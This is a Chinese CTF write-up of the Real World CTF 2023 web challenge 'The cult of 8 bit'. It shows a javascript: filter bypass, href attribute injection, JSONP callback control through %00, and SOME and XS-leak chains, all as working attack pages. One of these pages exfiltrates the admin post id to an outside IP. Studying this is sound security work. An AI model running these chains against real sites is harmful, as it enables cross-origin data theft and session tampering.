[Real World CTF 2023] The cult of 8 bit

一道rwctf正赛的web题,考点是some attack和xsleak

[toc]

题目描述

Valentina is trapped in the 8-bit cult, will you be able to find the secret and free her?

nc 47.254.41.26 9999

attachment

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bot/bot.js

code/
app.js
routes/api.js

src/
db.js
middleware.js

views/
home.ejs
login.ejs
post.ejs
register.ejs
report.ejs

docker-compose.yml
Dockerfile

题目是一个在线blog,flag存放于admin的一篇post中,另外提供了一个bot用来模拟admin访问指定的url

所有的post都由/post/:id来访问,而id是一个随机的uuid字符串,访问时只需要uuid,不需要鉴权

我们这题的目标就是要得到admin发送的那篇post的id,拿到id再访问即可获得flag

攻击思路

√ 创建todo的bypass

本题有一个奇特的小功能就是可以创建todo,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.post("/create/todo", [mw.csrfProtection, mw.requiresLogin], (req, res) => {
let { text } = req.body;

if (!text) {
return res.redirect("/?msg=Missing text");
}

if (typeof text !== "string") {
return res.redirect("/?msg=Missing text");
}

let isURL = false;
try {
new URL(text); // errors if not valid URL
isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
} catch {}

req.user.todos.push({
text, isURL
});

res.redirect("/");
});

如果你的todo是一个url对象,就会让isURL=true,而home.ejs在渲染时会把url给放在<a>标签中

1
2
3
4
5
6
7
<%_ user.todos.forEach(todo => { _%>
<%_ if (todo.isURL) { _%>
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
<%_ } else { _%>
<li class="has-text-left"><%= todo.text %></li>
<%_ } _%>
<%_ }); _%>

但是这里不让以javascript:开头,也就不让你用js伪协议来执行代码,但在一篇文章我找到了bypass的方式

But I was able to bypass it with %19javascript:alert(). It still is a valid URL, the trim() removes only whitespaces, and the browsers usually ignore \x01-\x20 bytes before javascript:

image-20230111032314980

如果我们不使用javascript伪协议,其实也可以想办法执行js代码

1
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>

这里的href=<%= todo.text %>是直接拼接的,我们可以直接在a标签的href属性后面加一个属性

1
http://xxx?<space>onclick=eval(atob(`base64-code`))<space>

但这里最终还是无法利用,原因有三点

  1. 加入了target=”_blank”属性,会打开一个空窗口
  2. admin用户无法创建todo,就算我们能够触发也只能进行self-xss
  3. admin不会主动点击这个链接

× POST_SERVER劫持

在post.ejs中存在这样一段

1
2
3
4
5
6
7
8
9
10
11
12
13
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}

load_post(JSON.parse(request.responseText));

如果我们能够控制POST_SERVER就可以进入catch语句中,从而控制script.src来远程加载我们的js代码,

可惜本题没有任何方法能修改这个POST_SERVER

√ request.open报错

还是在post.ejs中

1
2
3
4
5
6
7
8
9
10
11
12
13
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}

load_post(JSON.parse(request.responseText));

如果POST_SERVER已经确定不可控,那么我们在这里想要进入catch中,就只能从id入手,让request.open产生报错

在chrome控制台中fuzz一下

1
2
3
4
5
6
7
8
9
10
// try several different characters with codes from 0 to 1000
for(i=0; i<1000; i++){
const request = new XMLHttpRequest();
try {
request.open('GET', `/api/post/` + encodeURIComponent(String.fromCharCode(i)), false);
request.send(null);
} catch (err) {
console.log("ERROR :", i, err)
}
}

最后可以发现url中如果带有%00,request.open就会报错,顺利进入catch中,

√ 控制callback参数

而在后续的代码中我们只需要加入%23,即#,就可以让后面的uri失效,从而可以控制callback参数

我们最终的payload如下,

1
http://localhost:12345/post/?id={valid_id}?callback=our_function%23%00

生成的script就会变成

1
<script src=/api/post/{valid_id}?callback=our_function#%00?callback=load_post></script>

最终的效果是我们可以控制这里的回调函数

√ SOME attack

当控制了回调函数之后,就可以进行进行SOME attack攻击,这是一个2014年的blackhat议题,最终的攻击效果是可以在同源的任何页面执行js代码

这里有一个小demo可以用来尝试some attack

Same Origin Method Execution - About (someattack.com)

例如以下payload,可以在/post路由的页面弹窗

1
http://192.168.142.1:12345/post/?id=123?callback=alert()%23%00

image-20230111034705758

但我们控制的js代码执行范围不仅限于这个界面,我们可以利用opener在同源的其他页面执行js代码

在本题中我们的目标是获取admin的post-id,那我们必须在home页面中获取到post-id这个元素,这里通过一个例子来演示

a.html

1
2
3
4
<script>
b = open(`/b.html`);
location.replace("http://192.168.142.1:12345/");
</script>

b.html

1
2
3
4
<script>
// wait for a.html to redirect
setTimeout(`location.replace("http://192.168.142.1:12345/post/?id=123?callback=opener.alert()%23%00")`, 1000)
</script>

用php开一个临时的web服务

1
php -S 0.0.0.0:80

只要一个受害者访问了http://192.168.142.1/a.html后就会在他的home页被xss(也就是原先的a.html)

image-20230111035517844

在b.html中也可以看看opener对象

image-20230111035820090

这里能获取cookie,但是不知道为何没有connect.sid,只有_csrf,无法登录admin

image-20230111035857165

但我们是能够获取到home页的元素的,我们查看一下admin主页的post-id

image-20230111040034247

剩下来的就是想办法拿到回显了

非预期解

SOME attack配合xsleak拿到post-id

逐位读出post-id,再发请求到服务器上即可

用题目的bot怎么都打不通,也不知道咋调试,不知道问题出在哪里,这里就手动模拟访问

a.html

1
2
3
4
<script>
b = open(`/b.html`);
location.replace("http://192.168.142.1:12345/");
</script>

b.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<body>
<a id=focusme href=#>sth</a>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
alphabet = "0123456789abcdef-"
// alphabet = "0123456789abcdefghijklmnopqrst-"

//create iframes
for (var i = 0; i < alphabet.length; i++) {
iframe = document.createElement("iframe");
iframe.name = alphabet[i];
iframe.src = "http://192.168.142.1:12345/";
document.body.appendChild(iframe);
}

//array for found characters
hovered = []

const main = async () => {
// every 0.075 secs check for iframes' onfucus event
setInterval(() => {
p = document.activeElement.name
if (p) {
// if there's focus on an iframe -- add its character to hovered and change the focus
hovered.push(p);
document.getElementById("focusme").focus();
}
}, 75)

await sleep(2000);
c = open(`/c.html`);
await sleep(2000 + 150);

// every 500 secs send found characters to our server endpoint /ret/:characters
setInterval(() => {
fetch(`/ret/${hovered.join("")}`)
}, 2000);
}

main();
</script>
</body>

c.html

1
2
3
4
<script>
d = open(`/d.html`);
// location.replace("http://192.168.142.1:12345/");
</script>

d.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
const sleep = d => new Promise(r => setTimeout(r, d));

const main = async () => {
await sleep(1000);

const start=0;
// 32 is the start of the href url that contains id
// 36 is the len of the id
for (var i = start; i <= start+36+1; i++) {
// I'm explainig this payload below
// PAYLOAD = `opener[opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].href[${i}]].focus`;
PAYLOAD = `opener[opener.opener.document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.text[${i}]].focus`;
// change c.html page's location to the vulnerable page that executes callback
opener.location.replace(`http://192.168.142.1:12345/post/?id=123?callback=${PAYLOAD}%23%00`);
// check the next character every 1.5 secs so that the page have 1.5 sec to load.
await sleep(1500);
}
}

main();
</script>

image-20230111040906636

image-20230111040948840

预期解

要执行的js

1
2
3
location.href="http://39.107.138.71/?"+btoa(opener.document.links[3].text)

bG9jYXRpb24uaHJlZj0iaHR0cDovLzM5LjEwNy4xMzguNzEvPyIrYnRvYShvcGVuZXIuZG9jdW1lbnQubGlua3NbM10udGV4dCk=

插入todo进行xss

1
http://xxx?<space>onclick=eval(atob(`bG9jYXRpb24uaHJlZj0iaHR0cDovLzM5LjEwNy4xMzguNzEvPyIrYnRvYShvcGVuZXIuZG9jdW1lbnQubGlua3NbM10udGV4dCk=`))<space>

a.html

1
2
3
4
5
6
7
8
9
10
<script>
const sleep = d => new Promise(r => setTimeout(r, d));

const main = async () => {
b= open(`/b.html`);
location.replace("http://127.0.0.1:12345");
}

main();
</script>

b.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<script>
const sleep = d => new Promise(r => setTimeout(r, d));

const main = async () => {
await sleep(1000);
//wait for a.html to redirect

t=open(`/delete_csrf.html`);
await sleep(1000);
t.close();
//delete csrf for logout

t= open(`http://127.0.0.1:12345/api/logout`);
await sleep(1000);
t.close();
//logout

t=open(`/delete_csrf.html`);
await sleep(1000);
t.close();
//delete csrf for login

t= open(`/login.html`);
await sleep(1000);
t.close();
//login as a common user

open(`/todo.html`);
location.replace("http://127.0.0.1:12345");
//click todo to xss in admin home
}

main();
</script>

c.html

1
2
3
4
5
6
7
8
9
10
<script>
const sleep = d => new Promise(r => setTimeout(r, d));

const main = async () => {
opener.location.replace(`/delete_csrf.html`)
opener.location.replace()
}

main();
</script>

delete_csrf.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
const sleep = d => new Promise(r => setTimeout(r, d));

const main = async () => {
id ="7d8fbf09-d3d4-424b-9f2a-371a53ba5f5e";
PAYLOAD = `cookieStore.delete`;
t=open(`http://127.0.0.1:12345/post/?id=${id}?callback=${PAYLOAD}%23%00`);
await sleep(1000);
t.close();
}

main();
</script>

login.html

1
2
3
4
5
6
7
8
9
10
<body>
<form action="http://127.0.0.1:12345/api/login" method="POST">
<input class="input" type="text" placeholder="Username" name="user" value="11111111"/>
<input class="input" type="password" placeholder="Password" name="pass" value="11111111"/>
<input type="submit" value="Login"/>
</form>
</body>
<script>
document.forms[0].submit();
</script>

todo.html

1
2
3
4
5
6
7
8
9
10
11
<script>
const sleep = d => new Promise(r => setTimeout(r, d));

const main = async () => {
await sleep(1000);
PAYLOAD = `opener.document.links[4].click`;
location.replace(`http://127.0.0.1:12345/post/?id=123?callback=${PAYLOAD}%23%00`);
}

main();
</script>

Reference

[Real World CTF 2023] The cult of 8 bit - Empty (sh1yo.art)

eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf (blackhat.com)

CSRF/Markup Injection/Prototype Pollution/SOME/Cookie Toss?! Solution to October ‘22 XSS Challenge - YouTube

XMLHttpRequest Standard (whatwg.org)

Introduction | XS-Leaks Wiki (xsleaks.dev)

Same Origin Method Execution - About (someattack.com)